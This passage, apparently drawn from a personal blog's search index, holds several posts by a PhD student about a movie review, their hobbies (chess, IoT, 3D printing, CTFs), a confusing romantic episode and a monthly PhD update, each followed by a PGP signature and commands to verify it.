Frank, although his behaviour is horrible? But Frank gave so much back to Chris. I guess it is the same for me too, I\u0026rsquo;m also getting a lot back while making some sacrifices.\nOr maybe was it about that amazing Tango dancing scene? The sensations that Frank describes about relationships, and how he interacts with woman?\nI honestly do not know. I just know that watching the movie gave me good feelings. That I\u0026rsquo;m a happier Iman than the Iman I was before watching it. That my feelings and experiences are not abnormal, they are valid. That I\u0026rsquo;m on the right track, but still need time to figure out the way. That I shouldn\u0026rsquo;t worry too much. That I should look at everything as a way to have \u0026ldquo;fun\u0026rdquo;. That I shouldn\u0026rsquo;t overthink things. That if I mess up, oh well, I should take the responsibility and move on.\nI don\u0026rsquo;t know what the intention of my therapist was, but I\u0026rsquo;m so curious! I want to figure it out. :) Fell free to cross your fingers for me!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q m6IiKs5GoxJFgNEyfNSjjBNj\u0026#43;NeqxgmYqlephJtf5ubTW\u0026#43;IuSMkinSyvVwkKrxAX QA\u0026#43;1Imf7/4QTyUB6/L\u0026#43;19jk\u0026#43;1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj OAProXMLAaCpasabz8\u0026#43;kQBQsul12h0cjG7A\u0026#43;TSaTgaM\u0026#43;WnE8RuC6C0KV//YeUfvN DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5 wVNf/2vL14Ef4kfMWg8POj1WrgZc\u0026#43;pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS\u0026#43;BpKKG5wi7mFopvUFuZoPbHdmK2856P e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R 57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU= =/VjG -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md.asc gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md ","permalink":"https://blog.alipour.eu/posts/scent_of_a_woman/","summary":"\u003cp\u003eI\u0026rsquo;m not a big movie watcher.\nIn fact, I don\u0026rsquo;t remember the last time I watched a whole movie in a single day.\nIt\u0026rsquo;s not that I don\u0026rsquo;t enjoy it, it\u0026rsquo;s that I want to do this with at least another person.\nIt feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched \u003ca href=\"https://www.imdb.com/title/tt0105323\"\u003eScent of a Woman\u003c/a\u003e on Sunday, and after my therapist encouraged me to do so.\u003c/p\u003e","title":"Movie review: Scent of a Woman"},{"content":"When I started my PhD, I was told \u0026ldquo;get yourself a hobby!\u0026rdquo; many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies.\nFor some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.\nLet\u0026rsquo;s go back in time. What hobbies have I had over the course of my life? Actually as a kid I used to play games on Mobile for some reason. I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. Like I liked Vain Glory, and my brother liked Fifa. We did play both in the end.\nAfter my brother went to the capital to attend univesity, we bacame more distant. I had to also focus on my own studies, and was actually struggling in junior-high. Now that is a story in itself for another time. I used to play games back then as hobby. But my real interest was chess. I was really good at calculating. I was extremely sharp for my age, but since I was obbese my parents wanted me to take \u0026ldquo;active\u0026rdquo; sport classes. So\u0026hellip; getting into a chess class was conditional.\nI have\u0026rsquo;t really done any chess studying after those early years, and I just know a few openings with little depth. I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.\nIn high-school I didn\u0026rsquo;t really have any hobbies. I did become interested in Basketball, but nothing serious. It\u0026rsquo;s funny how I was able to become good at any sport I tried. I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. I think swimming was, and still is my best sport. I never pursued it though, which is a shame.\nBefore starting my Bachelors, I became really interested in Cicada3301, and cryptography. Well, not the fancy state-of-the-art cryptography, the simple classic methods. The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! That reminds me, we had these special things in junior-high called \u0026ldquo;Karsoogh\u0026rdquo; for math, physics, chemistry, and biology. I think I quilified for pretty much every one of them, and had a blast every time! In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. But the math one was different, it happend between a few close-by NODET cities, and annualy. The idea was simple. They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. We then competed against each other. The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. The fastest team gets the most points. The the message is common between teams. After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. First teams to get an algorithm gets more points. Our team won the best algorithm in the end, and my ideas were most influential in this achievement! My teammates became really good friends with me after this competition which felt really cool! I think this was the reason I became interested in cryptography. I don\u0026rsquo;t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. If your team solved a game, you got more points. It was really fun, and since the games happened in parallel, all teammtes had to be active.\nI said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. I like to casually get lost in questions and think about weird equations, or natural problems. Something like Feynman\u0026rsquo;s obsession with the spaghetti problem! Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. But I do want to get back to this fun hobby. I just need some questions, and an empty mind. Or I guess some time slots to chill and not stress about my other research.\nDuring my bachelors, I became fascinated by hardware. Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. Later on I realized this is related to IoT and Embedded systems. I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! Unfortunately I don\u0026rsquo;t have any images from the project, but the code can be found here.\nI bought myself a raspberrypi, many sensors and actuators, and did small fun projects! I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. I could not figure out how to fix the state when commands don\u0026rsquo;t go through correctly though, a challenge that I never solved or came up with a solution for. I would say my love with computers, making things smart, and networking became my main hobby!\nAfter some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. It was, and still is a rat race. Well, it\u0026rsquo;s the story of my PhD pretty much now.\nReading books became a hobby for a while, but Youtube kinda distroyed that. I really love to get back to reading more books, I have a really exciting list of books to be read in my library. Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. I find doing chores so relaxing! Since we talked about music I should mention I also tried to learn Piano, but didn\u0026rsquo;t pursue it. I actaully wanted to learn Violine, but the consultant we talked to said \u0026ldquo;if you\u0026rsquo;re not a hard worker it won\u0026rsquo;t workout for you\u0026rdquo;, and since my brother was going to learn Piano, I followed suit. And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. This is a pattern that has happened in my life a lot, something I need to stop from happening. Comparing myself with other, and competing with them. It\u0026rsquo;s just distroying me mentally. I am me, and the best me ever to exist. And that\u0026rsquo;s how it should be.\nSomewhere during my bachelors I also became fascinated by coffee! I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. Then came matcha, though with matcha things are much more limited.\nAnother thing that comes to mind is boardgames. I love boardgames that you need to think and be smart! An example is Cluedo. People usually don\u0026rsquo;t like to play it with me because I pay attention to \u0026ldquo;everything\u0026rdquo;. But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. I have a whole collection of boardgames that I don\u0026rsquo;t get to play! :-P One of my all time favorite games is \u0026ldquo;Zaar\u0026rdquo; (a persian game that was discontinued), and a game kinda similar to it called \u0026ldquo;The Night Cage\u0026rdquo;. I like them because there is a bit of strategy, luck, and a lot of co-op in them. In the later you either all win together, or get doomed. In the first one there is a comperition aspect to the game which makes it cool.\nCooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I\u0026rsquo;m a loner! (Drat. :P) I love to \u0026ldquo;not follow recipes\u0026rdquo; and try new things. Foods I make usually turn out to be quite yummy actually, though definitly not authentic. I also think I do a good job with the presentation part when I try. And I\u0026rsquo;m open to cooking anything and everything!\nI was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I\u0026rsquo;m alone, I rather do my other hobbies.\nAnd that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD\n3D printing is an interesting one. I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. When I went to 38c3 last year, I saw so many printers, and how cool they were. And somehting in my heart was touched, that I need one! The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. And oh well, 3D printing is just the hobby! I also tried to do some 3D design, but I\u0026rsquo;m quite a noob at it still. I will probably share some of the things I\u0026rsquo;ve made somewhere somehow, but not for now at least. Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). It\u0026rsquo;s so cute and fascinating, and I had an absolute blast working on it for the one week I did. So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. It\u0026rsquo;s just a fun thing to have, and to play around with. The fixing part of it, and maintaining it is not as fun, but it\u0026rsquo;s part of the journey. I will probably write about me and my 3D printer a lot more in the future. Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!\nAnd now let\u0026rsquo;s talk about the CTF stuff. This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). I\u0026rsquo;ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. After starting my PhD, I was introduced to Saarsec, and now I\u0026rsquo;m a proud member, trying to contribute as much as my time allows me to. I\u0026rsquo;m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. I love it! I want to do more of it. The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. Too shay. I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.\nAnd last but not least, blogging. Well, I kinda started it for no reason to be honest. I just want to share my stories, and to show my vulnerable side with no guilt. It feels freeing to do this, and I hope I continue! I hope people won\u0026rsquo;t get mad if they are a part of these stories I share. I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. I really enjoy it!\nWith all this being said, I think that\u0026rsquo;s it. If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. The only thing I want to emphasize is that I\u0026rsquo;m into things that make me limited to my creativity. Oh, and also books, if only I read them instead of watching Youtube!!!!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs\u0026#43; Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft L\u0026#43;2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK\u0026#43;Fyc\u0026#43;BlDnAO2qnjUgCW6XGn7QSy13AE y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd\u0026#43;CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0= =42yP -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md.asc gpg --verify hobbies.md.asc hobbies.md ","permalink":"https://blog.alipour.eu/posts/hobbies/","summary":"\u003cp\u003eWhen I started my PhD, I was told \u0026ldquo;get yourself a hobby!\u0026rdquo; many many times by both my advisor, and the director of the group I worked in.\nIn fact, when being interviewed for the position, I was asked about my hobbies.\u003c/p\u003e\n\u003cp\u003eFor some reason I think I have like the weirdest hobbies of all time.\nLike, you know, people binge series, go to clubs, bars, hang out, and so on.\nBut I always had interests in things that when I talk about people get weirded out, or at least some of them do so.\nTo be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.\u003c/p\u003e","title":"Hobbies"},{"content":" Notice: You\u0026rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.\nSo\u0026hellip; do you also think you\u0026rsquo;re a lover boy, kind, nice person? So do I! I think I\u0026rsquo;m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.\nMy problem is when things are to become more serious! Like, you know\u0026hellip; connecting at a more emotional level. A \u0026ldquo;relationship\u0026rdquo;. I\u0026rsquo;m really bad at those. In fact, I haven\u0026rsquo;t ever been in one! Now let\u0026rsquo;s be honest, I\u0026rsquo;m not your typical jacked, handsome boy, but I think I\u0026rsquo;m somewhere around the average if not higher a bit? Well, at least I hope so! :D\nI actually haven\u0026rsquo;t even dated once so far. My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like\u0026hellip; yea dude\u0026hellip; it was a date buddy. Why do I say it wasn\u0026rsquo;t a date? Well, because I was told so yesterday by her. That if it\u0026rsquo;s a date, you\u0026rsquo;re supposed to say it beforehand. I find that very fair actually. I really do. I wasn\u0026rsquo;t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. Like we planned a future together. We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!\nWe even found our \u0026ldquo;favorite shops\u0026rdquo; in the city together! It was weird! I\u0026rsquo;m so confused. I remember the second time we went out together, we sat next to the river and close to eachother. She leaned into me at some point. She had also touched my arm gently when making a joke earlier when we went shopping together. It felt weird. I did feel she was flirting with me, making plans with me. She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. We also had many deep conversations in this short amount of time.\nBut then it happened. Suddenly she messaged me saying how she is going to have a bf soon \u0026ldquo;hopefully\u0026rdquo;. That others know him, but not me. That where we live there are not that many people. That supply is low, and demand is high. That this person asked her fast so that \u0026ldquo;the slots won\u0026rsquo;t be filled\u0026rdquo;. It was weird, as if she was telling me I\u0026rsquo;m going to be taken if you don\u0026rsquo;t do anything\u0026hellip;? After this weird encounter I talked to two of my friends, and my married brother and his wife. When she heard about our interactions and all of the messages we passed, she did feel like I\u0026rsquo;ve been friendzoning her. That I\u0026rsquo;m not resiprocating her feelings. That she perhaps has a crush on me. Even my brother felt the same! My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. With all honestly, in her messages when she was teaching me the \u0026ldquo;ways\u0026rdquo;, she said \u0026ldquo;I don\u0026rsquo;t play games and I also advise you not to get together with people that do so\u0026rdquo;. Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I\u0026rsquo;m doing is normal and things are going well. But I guess I was wrong?\nI do want to talk about some things that we exchanged on this weird conversation that made me confused. She initially asked why I didn\u0026rsquo;t go out with them last night. I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. With all honestly I didn\u0026rsquo;t even know she was joining them or not. It\u0026rsquo;s kinda weird, but the plans were made in a group she was not inside of. Anyway.\nOctober 4th was a rainy day. She said she might be catching a cold, and that going out in this weather is maybe not a good choice. She said let\u0026rsquo;s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. You see? She proposed a different time and date, she didn\u0026rsquo;t just cancel last second. And then she started talking about last night, the things that happened. A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn\u0026rsquo;t know him. Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. Then she talked about how when two people see each other, a click can happen, and that\u0026rsquo;s how you can know if you like someone or not. If it\u0026rsquo;s two way ofc. I asked her what is this \u0026ldquo;click\u0026rdquo;? She said \u0026ldquo;you know when you know, and if you think you don\u0026rsquo;t know then there isn\u0026rsquo;t one\u0026rdquo;. Interesting. My poor brain started looking back at our own interactions. I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it\u0026hellip; And again I felt she is hinting something. Poor me was stuck between a rock and a hard place. She told me that if I like someone I should ask them on a date \u0026ldquo;early\u0026rdquo;, as time is of essence. Again, I was confused. I was lost. We\u0026rsquo;ve been hanging out for two weeks, we have our favorite similar shops, hobbies. We have plans together. We understood eachother. Or maybe that\u0026rsquo;s just how I felt in my mind? Maybe things in my brain are just different? I don\u0026rsquo;t know.\nMy sister in law told me that she probably had a crush on me and that I didn\u0026rsquo;t reciprocate her feelings perhaps? That I\u0026rsquo;m friendzoning her by not touching her back or asking her out on a \u0026ldquo;date\u0026rdquo;. Her reasoning is that she initiated all of this. She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. She told me that I should invite her to a date. That I have to do something romantic now, maybe get flowers, and a gift. And I did just that. I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. And I asked her on a date.\nShe said she enjoyed the company too, and thanked me. She then said she is starting a new relationship, but even if that was not the case, \u0026ldquo;we were so different from eachother at a much deeper level\u0026rdquo;. That her \u0026ldquo;life experiecnes\u0026rdquo; are just different, \u0026ldquo;and so on\u0026rdquo;. She did actually say \u0026ldquo;and so on\u0026rdquo;.\nYou know what it reminds me of? Of when your paper gets rejected by saying \u0026ldquo;lacks novelty\u0026rdquo;. xD\nAnother extremely funny thing is that she said we\u0026rsquo;re so different at a much deeper level, but she doesn\u0026rsquo;t even know me. What was meant at a deeper level? I\u0026rsquo;m confused again. She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. She knew nothing about me. How are we different so deeply if you don\u0026rsquo;t even know me? I\u0026rsquo;m so so incredibly confused. I guess it could be the looks, and the \u0026ldquo;vibes\u0026rdquo;? But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won\u0026rsquo;t pursue her I guess? Idk.\nI want to also come back to this point she made that she is \u0026ldquo;starting a new relationship\u0026rdquo;. She told me in the same conversation that someone asked her out (which she technically didn\u0026rsquo;t even say this, but it could be induced), and that going on a date \u0026ldquo;does not mean you\u0026rsquo;re in a relationship, that you want to know eachother\u0026rdquo;. Her saying that \u0026ldquo;I said I\u0026rsquo;m starting a new relationship\u0026rdquo; hurt me, not because she is doing that, because she didn\u0026rsquo;t technically tell me that. She then said \u0026ldquo;I always tell people this to avoid confusion\u0026rdquo;. I definitly didn\u0026rsquo;t miss it if she did. She didn\u0026rsquo;t, but whatever. It\u0026rsquo;s fine. I did apologize. The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me\u0026hellip; Did I miss it? She didn\u0026rsquo;t. Just trust me on this one. ;)\nI\u0026rsquo;m just confused. The last three times I had a crush on someone I confessed too. First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). Second case ended up in a tragedy that I do not want to talk about, lol! All I can say is that she definitly panicked and I don\u0026rsquo;t blame her. I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. The third one said that she is in an \u0026ldquo;undefined state\u0026rdquo; of a relationship, and that she wants to keep it \u0026ldquo;friendly\u0026rdquo; in university, which is completely fair. But this last one. This was the weird one. The first and third one were really sweet to me when I confessed/asked them out. The last one didn\u0026rsquo;t even show interest about being friends, which is again totally fine. But I\u0026rsquo;m just so baffeled by all of this.\nSo\u0026hellip; yea. This last \u0026ldquo;thing\u0026rdquo;, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. I do think I need to take a break from trying to get into a relationship. I\u0026rsquo;ve been hurt a lot by the second one, and this was just confusing. In her defence she was an amazing person. Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! I can\u0026rsquo;t just say the good stuff though. She was definitly a bit self-centered. It\u0026rsquo;s funny how she told me that \u0026ldquo;people say I\u0026rsquo;m so proud in a negative way, but anyone who talks with me knows I\u0026rsquo;m not like that\u0026rdquo;. Which is true, she wasn\u0026rsquo;t proud, the correct term is self-centered, or \u0026ldquo;narcissistic\u0026rdquo; if you will, which I don\u0026rsquo;t neceserrialy think is bad, but it is definitly an orange/yellow flag.\nOne thing I know is that I do wish her and whoever she dates the best! \u0026lt;3 And that I would be ok to stay friends with her, but since I\u0026rsquo;m hurt, I will be much colder. Sorry. :) And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. Fast progression ends like this? But then maybe we never progressed? I don\u0026rsquo;t know.\nWell. I don\u0026rsquo;t know what\u0026rsquo;s gonna happen next, but I\u0026rsquo;m going to just live my life and have fun. Aaaaaaaand maybe not worry about being single? Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won\u0026rsquo;t be alone? Who knows? haha.\nP.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I\u0026rsquo;m worth more than that. :) In my therapy session I remembered that in each of these so called \u0026ldquo;not dates\u0026rdquo; we had a conversation about \u0026ldquo;her\u0026rdquo;, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA\u0026#43;\u0026#43;dKrn \u0026#43;rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns pl\u0026#43;tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ\u0026#43;pBdSu0tCU4flVcDiTagVUE0hId8 LC/unRH9o1S/iLLM4Fhao7Aifxr\u0026#43;lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8 x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y Bq942gP8J14AnhZfss7QNY65dQV\u0026#43;h4WH\u0026#43;nnNELB0j9ekB2kEOdz3HzrbelKRdiOW vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo 6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo 9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea\u0026#43;6oBIiUF8j\u0026#43; SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ= =lM4c -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/relationships.md curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md.asc gpg --verify relationships.md.asc relationships.md ","permalink":"https://blog.alipour.eu/posts/relationships/","summary":"\u003cblockquote\u003e\n\u003cp\u003eNotice: You\u0026rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eSo\u0026hellip; do you also think you\u0026rsquo;re a lover boy, kind, nice person?\nSo do I!\nI think I\u0026rsquo;m actually really good at making friends with people.\nLike you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.\u003c/p\u003e","title":"Relationships"},{"content":"I started the month by finalizing my draft for Conext Student workshop. Let\u0026rsquo;s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I\u0026rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.\nI did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too!\nSurprise surprize, the notification did not come and it\u0026rsquo;s the last day of the month. Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. I\u0026rsquo;ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October\u0026hellip; Drat!\nI will probably do more literature review this last day of the month, and start working on the code base from next month. I should do a lot more literature review to be caught up with whatever that\u0026rsquo;s been done so far.\nMy social life has been much more exciting too. I\u0026rsquo;ve been socializing a lot more and have made many new friends. Some other exciting things have also been hapening that I don\u0026rsquo;t have the courage to write about now. ;) Buuuuuut\u0026hellip; I will probably write about them at some point if things go the way I hope theuy would. Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)\nAnd with that, that\u0026rsquo;s my September in a nutshell. I will probably start writing through the month and then turn the draft into a post from now on. That way it would look like a story!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP\u0026#43;Np/gpwm2Y2viYAv\u0026#43;njdwQag w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe\u0026#43;QGYpGsYEhei8tbjv7y 3giN/X4Vz8oowHlF0XCiBm\u0026#43;E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB\u0026#43;0JzZG 1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq\u0026#43;nEpRj0IGsHBZUn4t xxwF\u0026#43;HzHtVd9JWZHcfhLnh16PRT\u0026#43;drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm 9adYEohRZeM09EY16M6D\u0026#43;0JJDaQcHkL4TbTr/S1xbZ\u0026#43;K/5L\u0026#43;tLI9Mg0XoX0ZdG0B BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu\u0026#43;ELzLA0cik55TfEQNuiUDEpbz yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU\u0026#43;DyWles= =ranU -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md.asc gpg --verify September_2025.md.asc September_2025.md ","permalink":"https://blog.alipour.eu/phd_journey/september_2025/","summary":"\u003cp\u003eI started the month by finalizing my draft for Conext Student workshop.\nLet\u0026rsquo;s cross our fingers and hope things work out and that it gets accepted.\nNotification should arrive on 25th, and I\u0026rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.\u003c/p\u003e\n\u003cp\u003eI did a vacation from 6th until 15th for a total of 10 days by taking 6 days off.\nI visited my parents after 13 months(!), and also my brother after more than two years.\nWe had so much fun!\nI did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya.\nWhat a delightful trip it was.\nI do have to get used to this as this is the sole way I will 